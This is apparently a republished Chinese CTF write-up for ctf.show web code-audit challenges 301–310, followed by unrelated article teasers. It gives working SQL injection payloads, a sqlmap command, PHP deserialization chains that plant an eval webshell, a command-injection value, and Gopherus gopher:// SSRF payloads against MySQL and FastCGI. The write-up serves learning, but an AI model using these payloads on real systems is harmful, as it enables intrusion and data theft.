ctf_show笔记篇(web入门---代码审计)

301:多种方式进入

  1. 从index.php页面来看
    只需要访问index.php时session[login]不为空就能访问

    那么就在访问index.php的时候上传login = 随机一个东西就能进去
  2. 从checklogin页面来看sql注入没有任何过滤
    直接联合绕过

    密码随意

还有多种方式可以自己去看代码分析

302:和301同理

只是添加了一个,strcasecmp对比两个有什么区别,不区分大小写,相同输出0

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

还将密码加密了一下,给'union select ??   这里的'问好'像下面一样加密一下

在传入未加密的数字

例如: 1234 加密以后3cd76fc2201d6959a8c1c63dbd906ec7

和301同样的解法

也是同样可以使用直接访问index.php然后传入session[login]=任意一个东西,只要不为空

303:  会判断传入的username长度了其余不变

这里尝试弱口令

密码admin

账户admin

这里再dpt页面找到数据传输位置

这里会将传输数据给到aptadd文件

这里的数据执行insert命令插入到数据表里

$sql="insert into sds_dpt set sds_name='".$dpt_name."',
sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',
sds_have_safe_card='".$dpt_has_cert."',
sds_safe_card_num='".$dpt_cert_number."',
sds_telephone='".$dpt_telephone_number."';";

这里利用报错注入

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag),30,45) from sds_fl9g),0x7e),1))#

304:  增加了全局变量其他与303无差异

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag)from sds_flaag,1,20)),0x7e),1))#

也可拿到sqlmap里去跑

1.txt文件内容

POST /dptadd.php HTTP/1.1
Host: e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
Connection: close
Referer: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show/dpt.php
Cookie: PHPSESSID=l16so97igh43ejc1g0gua2bffn
Upgrade-Insecure-Requests: 1

dpt_name=sd&dpt_address=ad&dpt_build_year=2024-03-06&dpt_has_cert=on&dpt_cert_number=sda&dpt_telephone_number=ad

sqlmap -r 1.txt --batch -D sds -T sds_flaag -C flag --dump

305:  存在反序列化漏洞

利用到file_put_contents可以写入shell

通过user传入,再用蚁剑连接数据库获得flag

306:  反序列化

从代码层面看,  最后是要利用到

class.php文件

现在开始反推,  去找哪里用到了close函数

在dao.php文件找到了当最后销毁序列化时调用close(__destruct魔法函数),  这里就要用到__construct魔法函数,  当执行new实例化的时候就会调用,  一会儿再去找哪里实例化了dao这个类,  将$this->config=new config()修改为$this->conn->=apt()

现在再去找哪里用new实例化了dao类

从这里嗯呢看到service.php文件里的__construct调用了new实例化dao

payload:

<?php
class log{
	public $title='1.php';
	public $info='<?php eval($_POST[a]);?>';
}

class dao{
	private $config;
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}



echo base64_encode(serialize(new dao));

307:  

从这里看依旧时反序列化

login.php

这里本还是想调用这里的奈何没有嗲用点

不过好在在dao.php文件看到了执行命令的函数

这里$this->config->cache_dir指向了config类里的cache_dir变量,  刚好又是个public公共便变量可以修改

并且server.php也找到了执行此函数的地方

payload:

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
	public $cache_dir = ';echo \'<?php eval(\$_POST[a]);?>\' > 1.php;';
}

echo base64_encode(serialize(new config));

308:  SSRF漏洞

这里本来还是想在cache_dir做文章使用命令,奈何这里设置了白名单,  只能使用字母

但好在这里还存在ssrf漏洞

这里还能知道数据库密码为空,那么可以直接使用root用户登录

这里利用Gopherus生成对mysql的ssrf注入

这里注意,传入点在index.php

payload:(使用gopherus的mysql执行命令有条件,  不能有密码)

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

309:依旧利用ssrf漏洞,  这一次需要打fastcgi

还是利用gopherus生成fastcgi的payload

poc:

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

310:  

9000端口和6379端口都关了,  得做信息收集,通过field://协议访问本地文件

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

这里从返回信息来看,  在监听4476端口flag在var里面

直接去访问获取flag

<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
echo base64_encode(serialize(new dao));
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456142.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【OpenCV实战】基于OpenCV中DNN(深度神经网络)使用OpenPose模型实现手势识别详解

一、手部关键点检测 如图所示,为我们的手部关键点所在位置。第一步,我们需要检测手部21个关键点。我们使用深度神经网络DNN模块来完成这件事。通过使用DNN模块可以检测出手部21个关键点作为结果输出,具体请看源码。 二,openpose手势识别模型 OpenPose的原理基于卷积神经网…

购物平台为何要添增短视频部件?是应时代发展还是别有用心?

每天五分钟讲解一个商业模式&#xff0c;大家好我是模式设计啊浩。 不知道大家有在购物商城平台刷过短视频吗&#xff0c;不管怎么说啊浩是有这样做过的&#xff0c;甚至一度觉得还挺有意思的。有时候本来只是想去买件衣服&#xff0c;结果商城刷了五分钟&#xff0c;短视频就刷…

SpringBoot配置达梦数据库依赖(达梦8)

maven配置 <!-- 达梦数据库 --><dependency><groupId>com.dameng</groupId><artifactId>DmJdbcDriver18</artifactId><version>8.1.1.193</version></dependency><dependency><groupId>com.alibaba&l…

利用位运算符设置标志位

在写程序的过程中&#xff0c;会碰到需要修改标志位的情况。比如需要设置一个文件标识符可读或可写&#xff0c;首先想到的是利用int变量&#xff08;1表示不可读不可写 &#xff0c;2表示不可读可写&#xff0c;3表示可读不可写&#xff0c;4表示可读可写&#xff09;。但是这…

ChatGPT提问技巧——对话提示

ChatGPT提问技巧——对话提示 对话提示是一种允许模型生成模拟两个或多个实体之间对话的文本的技术。 通过向模型提供上下文和一组角色或实体&#xff0c;以及他们的角色和背景&#xff0c;并要求模型生成他们之间的对话。 因此&#xff0c;应向模型提供一个上下文和一组角色…

中国工程精英智创数字工厂——2023纵览基础设施大会暨光辉大奖赛观察 (下)

中国工程精英智创数字工厂 ——2023纵览基础设施大会暨光辉大奖赛观察 &#xff08;下&#xff09; 吴付标 中国制造的尽头是智能化、智慧化&#xff0c;这一趋势正在加速前进。2022年&#xff0c;中国以50座达沃斯论坛盖章认证的“灯塔工厂”数量冠绝全球&#xff0c;而“数…

Javascript的Execution Context

概要 本文主要通过一个实例&#xff0c;来理解什么是Javascript中的Execution Context&#xff0c;以及在JavaScript执行过程中&#xff0c;Execution Context是如何工作的。 基本概念 事实上&#xff0c;我们可以理解为JavaScript代码在一个盒子中执行&#xff0c;而这个盒…

Linux 建立链接(ln)

目录 1、ln命令 创建软链接&#xff1a; 创建硬链接&#xff1a; 2、输出重定向&#xff08;>/>>&#xff09; 3、管道&#xff08;|&#xff09; 1、ln命令 &#xff08;英文全拼&#xff1a;link files&#xff09;为某一个文件在另外一个位置建立一个同步的…

如何使用vue定义组件之——子组件调用父组件数据

1.定义父子模板template <div class"container"><my-father></my-father><my-father></my-father><my-father></my-father><!-- 此处无法调用子组件&#xff0c;子组件必须依赖于父组件进行展示 --><!-- <my-…

如何实现sam(Segment Anything Model)|fastsam模型

sam是2023年提出的一个在图像分割领域的大模型&#xff0c;其具备了对任意现实数据的分割能力&#xff0c;其论文的介绍可以参考 https://hpg123.blog.csdn.net/article/details/131137939&#xff0c;sam的亮点在于提出一种工作模式&#xff0c;同时将多形式的prompt集成到了语…

武汉星起航:秉承客户至上服务理念,为创业者打造坚实后盾

在跨境电商的激荡浪潮中&#xff0c;武汉星起航电子商务有限公司一直秉持着以客户为中心的发展理念&#xff0c;为跨境创业者提供了独特的支持和经验积累&#xff0c;公司通过多年的探索和实践&#xff0c;成功塑造了一个以卖家需求为导向的服务平台&#xff0c;为每一位创业者…

专升本 C语言笔记-03 变量的作用域

1.变量的概念 内存中有个存储区域,这个地方的数据可以在同一类型范围内不断变化通过变量名,可以访问这块内存区域,获取里面的值; 变量名的构成:数据类型 变量名 值 C语言中变量声明格式: 数据类型 变量名 值 2.变量的注意 2.1.全局变量: 定义在函数外部的叫全局变量…

监听抖音直播间的评论并实现存储

监听抖音直播间评论&#xff0c;主要是动态监听dom元素的变化&#xff0c;如果评论是图片类型的&#xff0c;获取alt的值 主要采用的是MutationObserver&#xff1a;https://developer.mozilla.org/zh-CN/docs/Web/API/MutationObserver index.js如下所示:function getPL() {…

交流回馈老化测试负载如何实现这些功能的

交流回馈老化测试负载是一种用于模拟电力系统中各种负载特性的装置&#xff0c;它可以对电力设备进行长时间的老化测试&#xff0c;以确保其在实际运行中的稳定性和可靠性。交流回馈老化测试负载主要通过以下几个方面实现这些功能&#xff1a; 1. 模拟负载特性&#xff1a;交流…

科普:防泄密软件下载(实用+收藏篇)

防泄密软件是企业构建安全信息环境、保障业务稳定发展的重要工具。是一种专门用于保护数据安全、防止信息泄露的软件工具。 它能够监控和管理电脑的使用行为&#xff0c;防止敏感数据被非法获取、篡改或传播。 防泄密软件通过实时监控、加密技术、访问控制等手段&#xff0c;…

C# EPPlus导出dataset----Excel2绘制图像

一、生成折线图方法 /// <summary> ///生成折线图 /// </summary> /// <param name="worksheet">sheet页数据 </param> /// <param name="colcount">总列数</param> /// &l…

LarkXR上新了 | Apollo多终端与XR体验的优化创新

作为领先的数字平行世界产品技术提供方&#xff0c;「Paraverse平行云」一直致力于为企业和开发者提供企业级实时云渲染解决方案。其多终端接入产品LarkXR Apollo&#xff0c;基于底层Runtime技术&#xff0c;实现了在Windows、Linux、MacOS、Android、iOS等多种操作系统下&…

mysql中文乱码解决方案

mysql中文乱码解决方案 现象 查看配置时&#xff0c;字符编码已经全是utf8&#xff0c;但查询时中文还是乱码&#xff1a; 原因 虽然查看字符编码时已经是utf8&#xff0c;但当数据库被连接时&#xff0c;可能还会是协商出其他的编码。 解决 需要强制将协商的编码都变成…

机试:成绩排名

问题描述: 代码示例: #include <bits/stdc.h> using namespace std;int main(){cout << "样例输入" << endl; int n;int m;cin >> n;int nums[n];for(int i 0; i < n; i){cin >> nums[i];}// 排序for(int i 0; i < n; i){//…

[c++] 右值引用

1 左值和左值引用 在说右值引用之前&#xff0c;需要先说一下左值引用。当然&#xff0c;在右值引用出现之前&#xff0c;左值引用也不叫左值引用&#xff0c;就叫引用。现在一般也直接将左值引用称作引用&#xff0c;将右值引用称作右值引用。左值引用类似于 c 语言中经常使用…